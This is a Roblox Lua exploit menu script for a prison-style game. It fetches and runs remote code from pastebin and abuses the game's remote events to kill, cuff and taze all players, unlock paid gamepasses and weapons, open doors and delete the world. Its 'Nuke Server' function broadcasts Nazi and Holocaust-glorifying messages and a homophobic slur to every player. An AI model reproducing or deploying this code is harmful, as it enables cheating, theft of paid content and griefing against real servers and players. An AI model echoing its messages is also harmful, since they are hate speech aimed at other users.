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- local library = loadstring(game:HttpGet("https://pastebin.com/raw/7Z6TzFnv", true))()
- local Combat = library:CreateWindow({
- text = "Combat"
- })
- local Player = library:CreateWindow({
- text = "Player"
- })
- local Functions = library:CreateWindow({
- text = "Functions"
- })
- local destructive = library:CreateWindow({
- text="destructive"
- })
- local teleports = library:CreateWindow({
- text="teleports"
- })
- function nuke()
- workspace.resources.RemoteEvent:FireServer("FireAllClients", "showNotice", "NEWS FROM OUR LORD HITLER", "Sending yall to Auswitchz")
- wait(5)
- game.Workspace.resources.RemoteFunction:InvokeServer("requestTeam", "police")
- for _, v in pairs(game.Teams.Prisoners:GetPlayers()) do
- game.Workspace.resources.RemoteEvent:FireServer("cuff", v)
- end
- wait(1)
- local rw = workspace.resources.RemoteEvent
- for i,k in pairs(workspace:GetChildren()) do
- rw:FireServer("toggleShield", k)
- end
- while true do
- wait(.5)
- for _, v in pairs(game.Players:GetChildren()) do
- game.Workspace.resources.RemoteEvent:FireServer("cuff", v)
- end
- for i,b in pairs(workspace.AllDoors:GetChildren()) do
- workspace.resources.RemoteEvent:FireServer("updateDoorSystem", b)
- end
- workspace.resources.RemoteEvent:FireServer("FireAllClients", "smallNotice", " ⚠️Hitler is gassing this server⚠️", true)
- workspace.resources.RemoteEvent:FireServer("FireAllClients", "showNotice", "⚠️Mein Furher⚠️", "get gassed faggots")
- end
- --
- end
- local Other = library:CreateWindow({text='other'})
- local Credits = library:CreateWindow({text='Credits'})
- --combat stuff
- Combat:AddButton("Kill all", function()
- for _, v in pairs(game.Players:GetChildren()) do
- game.Workspace.resources.RemoteEvent:FireServer("dealDamage", v.Character.Humanoid, 100)
- end
- end)
- Combat:AddButton("Cuff all", function()
- for _, v in pairs(game.Players:GetChildren()) do
- game.Workspace.resources.RemoteEvent:FireServer("cuff", v)
- end
- end)
- Combat:AddButton("Taze all", function()
- for _, v in pairs(game.Players:GetChildren()) do
- game.Workspace.resources.RemoteEvent:FireServer("tase", v)
- end
- end)
- Player:AddButton("Fly", function()
- repeat wait()
- until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
- local mouse = game.Players.LocalPlayer:GetMouse()
- repeat wait() until mouse
- local plr = game.Players.LocalPlayer
- local torso = plr.Character.Torso
- local flying = true
- local deb = true
- local ctrl = {f = 0, b = 0, l = 0, r = 0}
- local lastctrl = {f = 0, b = 0, l = 0, r = 0}
- local maxspeed = 50
- local speed = 0
- function Fly()
- local bg = Instance.new("BodyGyro", torso)
- bg.P = 9e4
- bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
- bg.cframe = torso.CFrame
- local bv = Instance.new("BodyVelocity", torso)
- bv.velocity = Vector3.new(0,0.1,0)
- bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
- repeat wait()
- plr.Character.Humanoid.PlatformStand = true
- if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
- speed = speed+.5+(speed/maxspeed)
- if speed > maxspeed then
- speed = maxspeed
- end
- elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
- speed = speed-1
- if speed < 0 then
- speed = 0
- end
- end
- if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
- bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
- lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
- elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
- bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
- else
- bv.velocity = Vector3.new(0,0.1,0)
- end
- bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
- until not flying
- ctrl = {f = 0, b = 0, l = 0, r = 0}
- lastctrl = {f = 0, b = 0, l = 0, r = 0}
- speed = 0
- bg:Destroy()
- bv:Destroy()
- plr.Character.Humanoid.PlatformStand = false
- end
- mouse.KeyDown:connect(function(key)
- if key:lower() == "e" then
- if flying then flying = false
- else
- flying = true
- Fly()
- end
- elseif key:lower() == "w" then
- ctrl.f = 1
- elseif key:lower() == "s" then
- ctrl.b = -1
- elseif key:lower() == "a" then
- ctrl.l = -1
- elseif key:lower() == "d" then
- ctrl.r = 1
- end
- end)
- mouse.KeyUp:connect(function(key)
- if key:lower() == "w" then
- ctrl.f = 0
- elseif key:lower() == "s" then
- ctrl.b = 0
- elseif key:lower() == "a" then
- ctrl.l = 0
- elseif key:lower() == "d" then
- ctrl.r = 0
- end
- end)
- Fly()
- end)
- destructive:AddButton("Nuke Server", function()
- nuke()
- end)
- teleports:AddButton("Criminal base", function()
- game.Players.LocalPlayer.Character:MoveTo(Vector3.new(-600.986, -27.542, -333))
- end)
- teleports:AddButton("Police hq", function()
- game.Players.LocalPlayer.Character:MoveTo(Vector3.new(93, 1.5, 15))
- end)
- teleports:AddButton("Tower", function()
- game.Players.LocalPlayer.Character:MoveTo(Vector3.new(189, 42.501, -195))
- end)
- teleports:AddButton("Helipad", function()
- game.Players.LocalPlayer.Character:MoveTo(Vector3.new(236.001, 1.8, 53.997))
- end)
- teleports:AddButton("Cells", function()
- game.Players.LocalPlayer.Character:MoveTo(Vector3.new(-4, 1.5, -7))
- end)
- teleports:AddButton("Vents", function()
- game.Players.LocalPlayer.Character:MoveTo(Vector3.new(118, 31.5, 59))
- end)
- teleports:AddButton("Courtyard", function()
- game.Players.LocalPlayer.Character:MoveTo(Vector3.new(243.07106, 2.3200254, -80.9014206))
- end)
- teleports:AddButton("Cake", function()
- game.Players.LocalPlayer.Character:MoveTo(Vector3.new(108.500664, 4, -27.2045383))
- end)
- Functions:AddButton("Remove doors", function()
- game.Workspace.AllDoors:Destroy()
- end)
- Functions:AddButton("Open all doors", function()
- for i,v in pairs(game.Workspace.AllDoors:GetChildren()) do
- game.Workspace.resources.RemoteEvent:FireServer("updateDoorSystem", v)
- end
- end)
- Functions:AddButton("Remove vent", function()
- game.workspace.ventOpening:remove()
- end)
- Functions:AddButton("destroy tree's", function()
- for i,v in pairs(game.Workspace:GetChildren()) do
- if v.Name == "Tree" then
- v:destroy()
- end
- end
- end)
- Functions:AddButton("Give Gamepasses", function()
- workspace.resources.RemoteFunction:InvokeServer("setDataValue", "hasSwat", true)
- workspace.resources.RemoteFunction:InvokeServer("setDataValue", "hasSpecOps", true)
- workspace.resources.RemoteFunction:InvokeServer("setDataValue", "hasMerc", true)
- workspace.resources.RemoteFunction:InvokeServer("setDataValue", "hasPilot", true)
- workspace.resources.RemoteFunction:InvokeServer("setDataValue", "hasAtv", true)
- end)
- Other:AddBox("SetData", function(object, focus)
- if focus then
- workspace.resources.RemoteFunction:InvokeServer("setDataValue", object.Text, true)
- end
- end)
- Player:AddButton("Give OP weapons", function()
- game.Workspace.resources.RemoteFunction:InvokeServer("giveItem", "M98B")
- game.Workspace.resources.RemoteFunction:InvokeServer("giveItem", "ACR")
- game.Workspace.resources.RemoteFunction:InvokeServer("giveItem", "L86A2")
- game.Workspace.resources.RemoteFunction:InvokeServer("giveItem", "Parachute")
- game.Workspace.resources.RemoteFunction:InvokeServer("giveItem", "Fake ID Card")
- game.Workspace.resources.RemoteFunction:InvokeServer("giveItem", "M60")
- end)
- Player:AddButton("INF ammo", function()
- while true do
- wait(.15)
- local pPos = game.Players.LocalPlayer.Character.Torso.Position
- local ammoCrate = workspace.ammoCrate
- ammoCrate.CanCollide = false
- ammoCrate.Transparency = 1
- ammoCrate:ClearAllChildren()
- ammoCrate.Position = pPos
- end
- end)
- Other:AddBox("WalkSpeed", function(object, focus)
- if focus then
- game:GetService("Players").LocalPlayer.Character.Humanoid.WalkSpeed = tonumber(object.Text) or 16
- end
- end)
- Other:AddBox("JumpPower", function(object, focus)
- if focus then
- game:GetService("Players").LocalPlayer.Character.Humanoid.JumpPower = tonumber(object.Text) or 16
- end
- end)
- Other:AddButton("noclip", function()
- noclip = false
- game:GetService('RunService').Stepped:connect(function()
- if noclip then
- game.Players.LocalPlayer.Character.Humanoid:ChangeState(11)
- end
- end)
- local plr = game.Players.LocalPlayer
- local mouse = plr:GetMouse()
- mouse.KeyDown:connect(function(key)
- if key == "x" then
- noclip = not noclip
- game.Players.LocalPlayer.Character.Humanoid:ChangeState(11)
- end
- end)
- print('Loaded')
- print('Press "X" to noclip')
- game.StarterGui:SetCore("SendNotification", {
- Title = "redwood GAY",
- Text = "press X to noclip",
- Duration = 1,
- Button1 = "OK"
- })
- end)
- Other:AddButton("Bridge", function()
- local tool = Instance.new("Tool", game.Players.LocalPlayer.Backpack)
- tool.RequiresHandle = false
- tool.Name = "Bridge"
- tool.CanBeDropped = false
- local pos1 = nil
- local pos2 = nil
- local bridgesize = 10
- local mouse = game.Players.LocalPlayer:GetMouse()
- local isEquipped = false
- local isSettingPos = false
- local bridgeEnabled = false
- local dist = 0
- function asdf(origin, target, properties)
- game.Workspace.resources.RemoteEvent:FireServer("FireAllClients","drawLaser", origin, target, properties)
- end
- mouse.KeyDown:Connect(function(k)
- if not isEquipped then return end
- key = k:lower()
- if key == "e" then
- if bridgesize <= 5 then return end
- bridgesize = bridgesize - 1
- game:GetService("StarterGui"):SetCore("SendNotification", {
- Title = "Information";
- Text = "New size: " .. bridgesize;
- })
- print(bridgesize)
- end
- if key == "r" then
- if bridgesize >= 25 then return end
- bridgesize = bridgesize + 1
- game:GetService("StarterGui"):SetCore("SendNotification", {
- Title = "Information";
- Text = "New size: " .. bridgesize;
- })
- print(bridgesize)
- end
- if key == "t" then
- bridgeEnabled = false
- isSettingPos = false
- pos1 = nil
- pos2 = nil
- bridgesize = 10
- game:GetService("StarterGui"):SetCore("SendNotification", {
- Title = "Information";
- Text = "Values reset to default.";
- })
- end
- end)
- tool.Equipped:Connect(function()
- isEquipped = true
- game:GetService("StarterGui"):SetCore("SendNotification", {
- Title = "Information";
- Text = "Click to set positions, Press R to increase width, E to decrease width and Press T to reset.";
- })
- end)
- tool.Unequipped:Connect(function()
- isEquipped = false
- end)
- tool.Activated:Connect(function()
- if not isSettingPos then
- pos1 = mouse.hit
- game:GetService("StarterGui"):SetCore("SendNotification", {
- Title = "Information";
- Text = "Position 1 saved, click again for position 2.";
- })
- isSettingPos = true
- else
- pos2 = mouse.hit
- game:GetService("StarterGui"):SetCore("SendNotification", {
- Title = "Information";
- Text = "Position 2 saved, creating bridge...";
- })
- isSettingPos = false
- bridgeEnabled = true
- dist = (pos1.p-pos2.p).magnitude
- end
- end)
- while true do
- wait(.1)
- if bridgeEnabled then
- asdf(pos1.p, pos2.p, {
- ["CanCollide"] = true,
- ["Size"] = Vector3.new(bridgesize, 1, dist),
- ["CFrame"] = CFrame.new(pos1.p, pos2.p) * CFrame.new(0,0, -dist/2) * CFrame.Angles(0,0,0),
- })
- end
- end
- end)
- Other:AddButton("Btools", function()
- -- credit to noll
- -- link: https://www.youtube.com/channel/UC8OJzJ2ut8e38QmYNJFW4Fw
- --NOLL
- local btool = Instance.new("Tool",game.Players.LocalPlayer.Backpack)
- local SelectionBox = Instance.new("SelectionBox",game.Workspace)
- SelectionBox.Name = "oof"
- SelectionBox.LineThickness = 0.05
- SelectionBox.Adornee = nil
- SelectionBox.Color3 = Color3.fromRGB(0,0,255)
- SelectionBox.Visible = false
- btool.Name = "FE BTOOLS"
- btool.RequiresHandle = false
- local IsEquipped = false
- local Mouse = game.Players.LocalPlayer:GetMouse()
- btool.Equipped:connect(function()
- IsEquipped = true
- SelectionBox.Visible = true
- SelectionBox.Adornee = nil
- end)
- btool.Unequipped:connect(function()
- IsEquipped = false
- SelectionBox.Visible = false
- SelectionBox.Adornee = nil
- end)
- btool.Activated:connect(function()
- if IsEquipped then
- game.Workspace.resources.RemoteEvent:FireServer("toggleShield", Mouse.Target)
- end
- end)
- while true do
- SelectionBox.Adornee = Mouse.Target or nil
- wait(0.1)
- end
- end)
- destructive:AddToggle("delete world", function()
- local rw = workspace.resources.RemoteEvent
- for i,k in pairs(workspace:GetChildren()) do
- rw:FireServer("toggleShield", k)
- end
- end)
- Credits:AddLabel("Credits\nWally: UI Lib\nV3rm: Some scripts")
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